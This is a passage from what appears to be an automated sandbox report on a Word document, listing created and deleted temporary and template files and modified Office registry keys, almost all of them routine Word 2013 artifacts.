  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAD22.tmp\\Berlin.thmx",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAD22.tmp\\content.inf",
  1026. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE4C.tmp",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAE9B.tmp",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAE9C.tmp",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEDC.tmp\\Badge.thmx",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEDC.tmp\\Content.inf",
  1032. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFB8.tmp",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB026.tmp",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB027.tmp",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB057.tmp\\content.inf",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB057.tmp\\Wood_Type.thmx",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB0B6.tmp",
  1039. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB143.tmp\\content.inf",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB143.tmp\\Quotable.thmx",
  1042. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1E0.tmp",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB230.tmp\\Headlines.thmx",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB230.tmp\\Content.inf",
  1046. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB7AF.tmp",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7BF.tmp\\mlaseventheditionofficeonline.xsl",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB7F1.tmp",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D1.tmp\\rings.glox",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D0.tmp\\chevronaccent.glox",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D1.tmp\\Content.inf",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D0.tmp\\Content.inf",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7BF.tmp\\Content.inf",
  1055. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1057. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB94A.tmp\\iso690.xsl",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB97A.tmp\\PictureFrame.glox",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB97A.tmp\\Content.inf",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB94A.tmp\\Content.inf",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98C.tmp\\Feathered.thmx",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98B.tmp\\Circuit.thmx",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBA38.tmp",
  1065. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1066. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98C.tmp\\Content.inf",
  1068. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1069. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB82.tmp\\content.inf",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB82.tmp\\Droplet.thmx",
  1072. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC120.tmp",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC1AE.tmp\\content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC1AE.tmp\\Damask.thmx",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC2F7.tmp",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC384.tmp\\content.inf",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC395.tmp",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC384.tmp\\Slate.thmx",
  1081. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC4AF.tmp\\content.inf",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC4AF.tmp\\Mesh.thmx",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCC42.tmp",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCCDF.tmp\\content.inf",
  1087. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCCDF.tmp\\Main_Event.thmx",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCDAB.tmp",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE77.tmp\\Insight design set.dotx",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE77.tmp\\Content.inf",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1093. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1094. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS08450325-974F-47CA-80BE-7A278238EBA0.tmp"
  1095.  
  1096.  
  1097. * Deleted Files:
  1098. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1099. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab7428.tmp",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar7429.tmp",
  1101. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457491fn=Metropolitan.eftx",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457491fn=Metropolitan.xml",
  1104. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457491fn=Metropolitan.xml",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DB6.tmp",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DB7.tmp",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E67.tmp",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E56.tmp",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA8.tmp",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA7.tmp",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DC7.tmp",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DC8.tmp",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE8.tmp",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F65.tmp",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E56.tmp\\VaryingWidthList.glox",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F67.tmp",
  1117. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA017.tmp",
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9961.tmp",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA018.tmp",
  1120. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F66.tmp",
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F77.tmp",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA8.tmp\\TabList.glox",
  1123. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457515fn=View.eftx",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9D75.tmp",
  1125. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457515fn=View.xml",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA087.tmp",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457515fn=View.xml",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA114.tmp",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E67.tmp\\Frame.thmx",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9CE8.tmp",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA173.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EA7.tmp\\sist02.xsl",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA194.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97A0.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B5.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1D5.tmp",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1F6.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA017.tmp\\pictureorgchart.glox",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E6.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E87.tmp",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA018.tmp\\gb.xsl",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B2F.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA285.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA114.tmp\\InterconnectedBlockProcess.glox",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE8.tmp\\TabbedArc.glox",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DA5.tmp",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8E.tmp",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA295.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA2A6.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA363.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA194.tmp\\ThemePictureAlternatingAccent.glox",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9F78.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3B5.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1F6.tmp\\ThemePictureGrid.glox",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA087.tmp\\turabian.xsl",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99C3.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9B8F.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA434.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA392.tmp",
  1160. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457510fn=Savon.eftx",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA3A4.tmp",
  1162. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457510fn=Savon.xml",
  1163. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457510fn=Savon.xml",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B5.tmp\\RadialPictureList.glox",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9F98.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA473.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA484.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA560.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E6.tmp\\Equations.dotx",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA363.tmp\\HexagonRadial.glox",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AE0.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA434.tmp\\ConvergingText.glox",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9973.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98FF.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA61F.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3B5.tmp\\harvardanglia2008officeonline.xsl",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA173.tmp\\chicago.xsl",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99D3.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97C2.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1D5.tmp\\APASixthEditionOfficeOnline.xsl",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\cab97C1.tmp",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA66E.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA59F.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA3F4.tmp\\ieee2006officeonline.xsl",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\cab994F.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA5A0.tmp",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA285.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99F4.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6DD.tmp",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA560.tmp\\Basis.thmx",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA61F.tmp\\CircleProcess.glox",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA193.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9993.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA66E.tmp\\Banded.thmx",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA393.tmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6DD.tmp\\iso690nmerical.xsl",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9900.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5B1.tmp\\Dividend.thmx",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA236.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA75B.tmp\\gosttitle.xsl",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9812.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA828.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA829.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA849.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA85A.tmp",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA849.tmp\\architecture.glox",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AC0.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA85A.tmp\\Crop.thmx",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA7C9.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA936.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA936.tmp\\Parallax.thmx",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA8E7.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\CabACE2.tmp",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\TarACE3.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAD22.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAD22.tmp\\Berlin.thmx",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\cabACA2.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAE9B.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAE9C.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEDC.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEDC.tmp\\Badge.thmx",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE4C.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB026.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB027.tmp",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB057.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB057.tmp\\Wood_Type.thmx",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFB8.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB143.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB143.tmp\\Quotable.thmx",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB0B6.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB230.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB230.tmp\\Headlines.thmx",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB1E0.tmp",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7BF.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D0.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D1.tmp",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D0.tmp\\chevronaccent.glox",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7D1.tmp\\rings.glox",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98EF.tmp",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9962.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7BF.tmp\\mlaseventheditionofficeonline.xsl",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB94A.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9950.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB97A.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98B.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98C.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB94A.tmp\\iso690.xsl",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98EE.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB97A.tmp\\PictureFrame.glox",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9811.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98C.tmp\\Feathered.thmx",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB98B.tmp\\Circuit.thmx",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB7AF.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB7F1.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB82.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB82.tmp\\Droplet.thmx",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBA38.tmp",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC1AE.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC1AE.tmp\\Damask.thmx",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC120.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC384.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC384.tmp\\Slate.thmx",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC2F7.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC4AF.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC4AF.tmp\\Mesh.thmx",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC395.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCCDF.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCCDF.tmp\\Main_Event.thmx",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCC42.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE77.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCE77.tmp\\Insight design set.dotx",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCDAB.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\~$tWire_1ee421cb362da59e3b4fe64ddbe9c4b7.doc",
  1275. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS4E63DC68-4CC1-432E-944A-D9457E43F538.tmp",
  1276. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1277. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS08450325-974F-47CA-80BE-7A278238EBA0.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS5C040821-1A7E-4F13-86F8-EC0CBDAFAF5F.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR6320.tmp.cvr",
  1280. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF6C6196CB-726C-46E6-9632-BABA0A5FC26E.tmp"
  1281.  
  1282.  
  1283. * Modified Registry Keys:
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\f/1",
  1285. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1286. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\12A55C9",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\12A55C9\\12A55C9",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
